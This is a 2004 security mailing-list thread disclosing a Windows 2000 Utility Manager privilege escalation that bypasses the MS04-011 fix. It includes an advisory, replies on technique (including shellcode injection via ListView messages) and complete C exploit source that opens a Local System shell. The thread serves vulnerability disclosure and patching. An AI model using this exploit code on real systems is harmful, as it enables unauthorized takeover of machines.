Microsoft Window Utility Manager Local Elevation of Privileges

[Vivek Rathod]

Microsoft Window Utility Manager Local Elevation of Privileges

July 13, 2004

Credit: This vulnerability was researched and discovered by Cesar Cerrudo.

Risk Level: High

Summary: A local elevation of privileges exists in the Windows Utility
Manager which allows any user to take complete control over the
operating system. This vulnerability affects the Windows 2000 operating
system family.

Details:
The Microsoft Windows 2000 operating system family supports a feature
called Accessibility Options. Accessibility Options are a series of
assistive technologies within Windows that help users with disabilities
access the functions of the operating system. They can be enabled or
disabled using shortcuts built into the operating system or through the
Accessibility Utility Manager. The Accessibility Utility Manager allows
users to start, stop, or monitor accessibility programs such as
Microsoft Magnifier, Narrator, On-Screen Keyboard, etc... The Utility
Manager can be invoked by pressing <Windows key>+U or, if the user is an
Administrator, by executing "utilman.exe /start" from the command line.
The Utility Manager runs as a Windows service enabled by default. When
executed it runs within the interactive desktop with Local System
privileges.

Utility Manager supports context sensitive help which was accessed by
clicking the "?" on the title bar of the Utility Manager window and then
clicking an object or by pressing F1 key after selecting an object. To
display the context sensitive help, Utility Manager loaded
winhlp32.exe. However it did not drop System privileges when doing so
meaning that winhlp32.exe was executed under the Local System account.
Microsoft fixed this vulnerability with patch MS04-011. The patch failed
to fix the problem because it only removed the context sensitive help
from the Utility Manager GUI preventing help from being invoked from the
main screen. However, the patch did not remove/disable the functionality
used by the application to launch the context sensitive help (see ¹ for
more details). Utility Manager continues to load winhlp32.exe without
dropping privileges meaning that winhlp32.exe is still run under Local
System account. A user need only to send several Windows messages and
winhlp32.exe will be launched. From there, the user can open any file
as a Local System account.

To exploit the vulnerability, an attacker would need only to run the
following code:

//get window handle
lHandle=FindWindow(NULL, "Utility Manager");
//send right click on the app button in the taskbar or Alt+Space Bar
PostMessage(lHandle,0x313,NULL,NULL);
Sleep(100);
//send WM_COMMANDHELP 0x0365 lParam must be<>NULL
SendMessage(lHandle,0x365,NULL,0x1);

After this code has been executed, winhlp32.exe will ask the attacker to
locate the umandlg.hlp help file. The attacker can then select "Yes" and
an Open dialog will be shown. The attacker can then search and select
cmd.exe. The attacker will then have a shell running under Local System
privileges.

Note:
It seems that Visual C++ MFC (Microsoft Foundation Class) (see ²) will
automatically include help functionality in an application regardless of
whether or not this functionality will be utilized. Therefore, when
coding desktop applications that will run with elevated privileges,
remove all help functionality or drop account privileges before loading
the help.

Links:
(Previous vulnerability)
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0908
http://www.microsoft.com/technet/security/bulletin/ms04-011.mspx
http://www.microsoft.com/downloads/details.aspx?FamilyId=0692C27E-F63A-414C-B3EB-D2342FBB6C00&displaylang=en
http://www.appsecinc.com/resources/alerts/general/04-0001.html

(Current vulnerability)
1.
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vcmfc98/html/_mfcnotes_tn028.asp
2.
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vccore98/HTML/_core_help.3a_.f1_and_shift.2b.f1_help.asp
3. http://www.microsoft.com/technet/security/bulletin/ms04-019.mspx

Workaround:
Disable Utility Manager Service.

Fix:
http://www.microsoft.com/technet/security/bulletin/ms04-019.mspx

Acknowledgement:
Thanks to Brett Moore and Esteban Martinez Fayo.

--
_____________________________________________
AppSecInc Team SHATTER
Tel: 1-866-927-7732
E-mail: shatter@appsecinc.com
Web: www.appsecinc.com

Application Security, Inc.
"Securing Business by Securing Enterprise Applications"

[Chris Paget]

On Tue, 13 Jul 2004 16:00:33 -0400, you wrote:

>Microsoft Window Utility Manager Local Elevation of Privileges

<snip>

>To exploit the vulnerability, an attacker would need only to run the=20
>following code:
>
>After this code has been executed, winhlp32.exe will ask the attacker to=
=20
>locate the umandlg.hlp help file. The attacker can then select "Yes" and=
=20
>an Open dialog will be shown. The attacker can then search and select=20
>cmd.exe. The attacker will then have a shell running under Local System=20
>privileges.

This isn't quite right - on my system at least, browsing for cmd.exe
in this way generates an error:
"The C:\WINNT\system32\cmd.exe file is not a Windows Help file, or the
file is corrupted."

That said, the file dialog can be made to display a ListView control
(display details rather than a list). This ListView control will
accept both WM_SETTEXT (to inject shellcode into the caption of the
window) followed by LVM_SORTITEMS (which specifies the address for a
sort function) to execute said code. It is a valid method for
arbitrary code execution as LocalSystem, but not quite as simply as
Vivek makes out.

Chris

--=20
Chris Paget
ivegotta@tombom.co.uk

[KF]

>This isn't quite right - on my system at least, browsing for cmd.exe
>in this way generates an error:
>"The C:\WINNT\system32\cmd.exe file is not a Windows Help file, or the
>file is corrupted."
>
>
>
Right click on cmd.exe and choose Open (from the list) instead of
selecting it and pressing enter (or clicking the open button).

-KF

[Cesar]

--0-1327310227-1089901957=:97605
Content-Type: text/plain; charset=us-ascii
Content-Id:
Content-Disposition: inline

See attached ;)

Cesar.
--- Chris Paget <ivegotta@tombom.co.uk> wrote:
> On Tue, 13 Jul 2004 16:00:33 -0400, you wrote:
> ...
>
> This isn't quite right - on my system at least,
> browsing for cmd.exe
> in this way generates an error:
> "The C:\WINNT\system32\cmd.exe file is not a Windows
> Help file, or the
> file is corrupted."
>
> That said, the file dialog can be made to display a
> ListView control
> (display details rather than a list). This ListView
> control will
> accept both WM_SETTEXT (to inject shellcode into the
> caption of the
> window) followed by LVM_SORTITEMS (which specifies
> the address for a
> sort function) to execute said code. It is a valid
> method for
> arbitrary code execution as LocalSystem, but not
> quite as simply as
> Vivek makes out.
>
> Chris
>
> --
> Chris Paget
> ivegotta@tombom.co.uk




__________________________________
Do you Yahoo!?
New and Improved Yahoo! Mail - Send 10MB messages!
http://promotions.yahoo.com/new_mail
--0-1327310227-1089901957=:97605
Content-Type: text/plain; name="UtilManExploit2.c"
Content-Description: UtilManExploit2.c
Content-Disposition: inline; filename="UtilManExploit2.c"

//by Cesar Cerrudo sqlsec>at<yahoo.com
//Local elevation of priviliges exploit for Windows 2K Utility Manager (second one!!!!)
//Gives you a shell with system privileges
//If you have problems try changing Sleep() values.

#include "stdio.h"
#include "windows.h"


int main(int argc, char* argv[])
{
HWND lHandle, lHandle2;
POINT point;
char sText[]="%windir%\\system32\\cmd.ex?";

// run utility manager
// system("utilman.exe /start");
// Sleep(500);

lHandle=FindWindow(NULL, "Utility manager");
if (!lHandle) {
printf("\nUsage :\nPress Win Key+U to launch Utility Manager and then run UtilManExploit2.exe\n");
return 0;
}

PostMessage(lHandle,0x313,NULL,NULL); //=right click on the app button in the taskbar or Alt+Space Bar

Sleep(100);

SendMessage(lHandle,0x365,NULL,0x1); //send WM_COMMANDHELP 0x0365 lParam must be <>NULL
Sleep(300);

SendMessage (FindWindow(NULL, "Windows Help"), WM_IME_KEYDOWN, VK_RETURN, 0);
Sleep(500);


// find open file dialog window
lHandle = FindWindow("#32770","Open");

// get input box handle
lHandle2 = GetDlgItem(lHandle, 0x47C);
Sleep(500);

// set text to filter listview to display only cmd.exe
SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)sText);
Sleep(800);

// send return
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);

//get navigation bar handle
lHandle2 = GetDlgItem(lHandle, 0x4A0);

//send tab
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
Sleep(500);
lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
//get list view handle
lHandle2 = GetDlgItem(lHandle2, 0x1);

SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char
Sleep(500);

//popup context menu
PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
Sleep(1000);

// get context menu handle
point.x =10; point.y =30;
lHandle2=WindowFromPoint(point);

SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return

SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window
Sleep(500);
SendMessage (FindWindow(NULL, "Windows Help"), WM_CLOSE, 0, 0);// close open error window
SendMessage (FindWindow(NULL, "Utility manager"), WM_CLOSE, 0, 0);// close utility manager
return 0;
}


--0-1327310227-1089901957=:97605--